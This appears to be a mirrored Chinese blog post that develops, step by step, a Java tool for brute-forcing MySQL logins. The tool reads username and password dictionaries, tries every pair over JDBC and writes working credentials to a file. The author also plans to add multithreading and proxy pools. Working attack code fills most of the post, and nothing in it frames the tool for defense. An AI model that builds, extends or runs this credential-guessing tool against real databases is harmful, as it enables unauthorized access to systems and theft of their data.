zoukankan      html  css  js  c++  java
  • 记-一个数据库密码爆破工具的成长历程(2)

    数据库密码爆破工具的优化

    1. 使用scanner从控制台读取字典位置和数据库位置
    2. 在控制台输出密码使用起来还是不太方便,将正确的密码通过字节流写入到一个文档中。
    3. 密码都写了,不妨吧数据库的地址和账号密码一起写入。
    4. 目前爆破仅限于密码,所以后面可以设计循环嵌套将账户密码一起爆破。
    5. 爆破目前使用的是单线程,所以为了后期的实用性,会加上多线程和代理池。
    6. 代码格式的文件对很多人来说使用还是不够方便,所以图形化界面也是需要进行的。

    目前代码:

    package jsp;
    
    import java.io.*;
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Scanner;
    
    public class sql {
        public static void main(String[] args) throws IOException {
            Scanner sc1 = new Scanner(System.in);
            System.out.println("请输入爆破字典地址(绝对路径)");
            String zdadd = sc1.next();
            Scanner sc2 = new Scanner(System.in);
            System.out.println("请输入数据库地址(jdbc格式)");
            String sqladd = sc2.next();
            String path = zdadd;
            File file = new File(path);
            StringBuilder result = new StringBuilder();
            try {
                BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
    
                String s = null;
                while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                    result.append(System.lineSeparator() + s);
                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                        String url = sqladd;
                        String username = "root1";
                        String password = s;
                        Connection conn = DriverManager.getConnection(url,username,password);
                        System.out.println("密码正确");
                        System.out.println("正确密码是"+s);
                    } catch (ClassNotFoundException | SQLException e) {
                        System.out.println("密码错误");
                    }
                }
                br.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    第一步的优化已经完成,现在就要进行第二步。

    第二步和第三步我想做的都是把获得的结果输入到文件中,要做到这一步,需要使用到一个文件写入。

    也就是下面这行代码:

    FileWriter fw = new FileWriter("C://a/gpasswd.txt");                  BufferedWriter bw = new BufferedWriter(fw);                    
    bw.write("数据库地址是:"+url+"
    ");
    bw.write("数据库账号是:"+username+"
    ");                    
    bw.write("数据库密码是:"+s+"
    ");                    
    bw.close();
    fw.close();
    

    第一行是指定了文件写入的位置,第二行则创建了一个文件写入的对象。然后就是很简单,加上注释之后,把辊间的信息写入到文件之中,然后释放资源。

    所以,在添加了这些之后,代码就会变成下面这样。

    package jsp;
    
    import java.io.*;
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Scanner;
    
    public class sql {
        public static void main(String[] args) throws IOException {
            Scanner sc1 = new Scanner(System.in);
            System.out.println("请输入爆破字典地址(绝对路径)");
            String zdadd = sc1.next();
            Scanner sc2 = new Scanner(System.in);
            System.out.println("请输入数据库地址(jdbc格式)");
            String sqladd = sc2.next();
            String path = zdadd;
            File file = new File(path);
            StringBuilder result = new StringBuilder();
            try {
                BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
    
                String s = null;
                while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                    result.append(System.lineSeparator() + s);
                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                        String url = sqladd;
                        String username = "root1";
                        String password = s;
                        Connection conn = DriverManager.getConnection(url,username,password);
                        FileWriter fw = new FileWriter("C://a/gpasswd.txt");
                        BufferedWriter bw = new BufferedWriter(fw);
                        bw.write("数据库地址是:"+url+"
    ");
                        bw.write("数据库账号是:"+username+"
    ");
                        bw.write("数据库密码是:"+s+"
    ");
                        bw.close();
                        fw.close();
                    } catch (ClassNotFoundException | SQLException e) {
                    }
                }
                br.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    然后就是第四步了,也就是到目前位置,我们爆破仅限于密码,并没有对用户名同时进行一个爆破,所以,这里就要尝试进行用户名的爆破。

    这一步其实要做到很简单,因为我们之前已经完成了定义字典的位置,然后利用bufferedReader将里面的内容读取出来,现在只是多增加一个字典的读取,然后将外界的循环变成两个就可以了。

    通俗一点,就是两个循环的嵌套。

    package jsp;
    
    import java.io.*;
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Scanner;
    
    public class sql {
        public static void main(String[] args) throws IOException {
            Scanner sc = new Scanner(System.in);
            System.out.println("请输入用户名爆破字典地址(绝对路径)");
            String unadd = sc.next();
            Scanner sc1 = new Scanner(System.in);
            System.out.println("请输入密码爆破字典地址(绝对路径)");
            String pdadd = sc1.next();
            Scanner sc2 = new Scanner(System.in);
            System.out.println("请输入数据库地址(jdbc格式)");
            String sqladd = sc2.next();
            String path1 = unadd;
            File file1 = new File(path1);
            StringBuilder result1 = new StringBuilder();
            String path = pdadd;
            File file = new File(path);
            StringBuilder result = new StringBuilder();
            try {
                BufferedReader br1 = new BufferedReader(new InputStreamReader(new FileInputStream(file1),"UTF-8"));
                String s1 = null;
                while((s1 = br1.readLine())!=null) {
                    result1.append(System.lineSeparator() + s1);
    
                    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
    
                    String s = null;
                    while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                        result.append(System.lineSeparator() + s);
                        try {
                            Class.forName("com.mysql.jdbc.Driver");
                            String url = sqladd;
                            String username = s1;
                            String password = s;
                            Connection conn = DriverManager.getConnection(url, username, password);
                            FileWriter fw = new FileWriter("C://a/gpasswd.txt");
                            BufferedWriter bw = new BufferedWriter(fw);
                            bw.write("数据库地址是:" + url + "
    ");
                            bw.write("数据库账号是:" + username + "
    ");
                            bw.write("数据库密码是:" + s + "
    ");
                            bw.close();
                            fw.close();
                        } catch (ClassNotFoundException | SQLException e) {
                        }
                    }
                    br.close();
                }
                br1.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    到了这一步,一个简单的Mysql数据库账号密码的爆破工具已经结束了。目前来说,这个工具的实用性不高,只能针对于mysql数据库,后面如果有一些别的思路,会针对这个工具再进行修改。

    针对于多线程等问题,过段时间会再进行修复。

  • 相关阅读:
    [转]SVN服务器搭建和使用(二)
    [转]SVN服务器搭建和使用(一)
    BZOJ 2049 Sdoi2008 Cave 洞穴勘测
    BZOJ 1589 Usaco2008 Dec Trick or Treat on the Farm 采集糖果
    BZOJ 2796 POI2012 Fibonacci Representation
    BZOJ 2115 Wc2011 Xor
    BZOJ 3105 CQOI2013 新Nim游戏
    BZOJ 2460 Beijing2011 元素
    BZOJ 3687 简单题
    BZOJ 1068 SCOI2008 压缩
  • 原文地址:https://www.cnblogs.com/Xiaoming0/p/14125959.html
Copyright © 2011-2022 走看看